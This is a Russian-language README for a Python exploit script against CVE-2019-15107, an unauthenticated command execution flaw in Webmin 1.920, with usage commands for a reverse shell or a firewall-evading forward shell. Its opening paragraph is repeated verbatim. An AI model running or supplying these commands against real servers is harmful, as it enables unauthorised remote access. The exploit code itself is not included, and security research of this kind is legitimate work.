CVE-2019-15107 Webmin 1.920 Неавторизованное удаленное выполнение команд

Скрипт на python3 для эксплуатации CVE-2019-15107 Webmin 1.920 — неавторизованное удаленное выполнение команд, который создает reverse shell или псевдоинтерактивную оболочку с использованием mkfifo для обхода межсетевого экрана. Скрипт на python3 для эксплуатации CVE-2019-15107 Webmin 1.920 — неавторизованное удаленное выполнение команд, который создает reverse shell или псевдоинтерактивную оболочку с использованием mkfifo для обхода межсетевого экрана.

Начало работы

Запуск программы

• С помощью python3

python3 webmin.py -t https://webmin.site/ -lhost 127.0.0.1 -lport 9001

• Для forward shell с обходом межсетевого экрана

python3 webmin.py -t https://webmin.site/ -fs

Справка

Для вызова меню справки:

python3 webmin.py -h

Отказ от ответственности

Весь код, предоставленный в этом репозитории, предназначен только для образовательных/исследовательских целей. Любые действия и/или мероприятия, связанные с материалом, содержащимся в этом репозитории, являются исключительно вашей ответственностью. Неправильное использование кода из этого репозитория может повлечь за собой уголовные обвинения против соответствующих лиц. Автор не несет ответственности в случае предъявления уголовных обвинений любым лицам, неправомерно использующим код из этого репозитория с нарушением закона.